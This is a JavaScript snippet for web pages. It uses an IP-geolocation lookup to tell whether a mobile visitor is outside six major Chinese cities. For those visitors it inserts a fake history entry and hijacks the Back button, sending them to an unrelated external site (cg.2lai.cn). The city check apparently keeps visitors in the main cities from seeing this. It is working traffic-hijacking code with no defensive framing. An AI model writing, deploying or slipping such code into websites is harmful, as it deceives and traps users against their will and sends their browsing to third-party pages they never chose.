function timeFn(timer_ip, type) {
    var dateEnd = new Date();
    var dateDiff = dateEnd.getTime() - timer_ip;
    var dayDiff = Math.floor(dateDiff / (24 * 3600 * 1000));
    var leave1 = dateDiff % (24 * 3600 * 1000);
    var hours = Math.floor(leave1 / (3600 * 1000));
    var leave2 = leave1 % (3600 * 1000);
    var minutes = Math.floor(leave2 / (60 * 1000));
    var leave3 = leave2 % (60 * 1000);
    var seconds = Math.round(leave3 / 1000);
    if (type == 'hours') {
        return hours;
    }
    if (type == 'minutes') {
        return minutes;
    }
    if (type == 'seconds') {
        return seconds;
    }
}
function loadScript(url, callback) {
    var script = document.createElement("script");
    script.type = "text/javascript";
    script.name = "pv";
    //绑定加载完毕的事件
    if (script.readyState) {
        script.onreadystatechange = function () {
            if (script.readyState === "loaded" || script.readyState === "complete") {
                callback && callback();
            }
        }
    } else {
        script.onload = function () {
            callback && callback();
        }
    }
    script.src = url;
    document.getElementsByTagName("head")[0].appendChild(script);
}
loadScript('//pv.sohu.com/cityjson?ie=utf-8', function () {
    const isMobile = /Android|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent);
    // 北上广深杭禹州
    const cids = ['440100', '110100', '310100', '440300', '330100', '411000'];
    // const cids = ['110000','110100','120100','120000','310000','310100','500000','500100',
    // '130100','410100','420100','430100','320100','360100','210100','220100','230100','610100',
    // '140100','370100','510100','630100','340100','460100','440100','520100','330100','350100','350200','620100',
    // '530100','540100','640100','450100','650100','150100','411000','440300'];
    const cidType = cids.includes(returnCitySN.cid);
    var fifteen = null;
    var hours = null;
    var minutes = null;
    // 初次
    if (!localStorage.getItem('timer_ip') || localStorage.getItem('timer_ip') == undefined) {
        console.log('first');
        localStorage.setItem('timer_ip', new Date().getTime())
        localStorage.setItem('fifteen_f', 0)
    } else {
        console.log('after');
        hours = timeFn(localStorage.getItem('timer_ip'), 'hours');
        minutes = timeFn(localStorage.getItem('timer_ip'), 'minutes');
        if (hours >= 2) {
            hours = null;
            minutes = null;
            localStorage.setItem('fifteen_f', 0);
        }
        if (minutes < 15) {
            if (isMobile) {
                localStorage.setItem('fifteen_f', Number(localStorage.getItem('fifteen_f')) + 1);
            }
        }
        localStorage.setItem('timer_ip', new Date().getTime())
    }
    // &&(minutes <=15 || hours === null)
    if (isMobile && !cidType) {
        pushHistory();
        // if(document.referrer) {
            window.addEventListener("popstate", function (e) {
                self.location = 'http://cg.2lai.cn/sougou/index.html';
            }, false);
        // }
        function pushHistory() {
            var state = {
                title: "~",
                url: ""
            };
            // if(Number(localStorage.getItem('fifteen_f'))<=3) {
            window.history.pushState(state, "~", "");
            // }
        }
    }
});
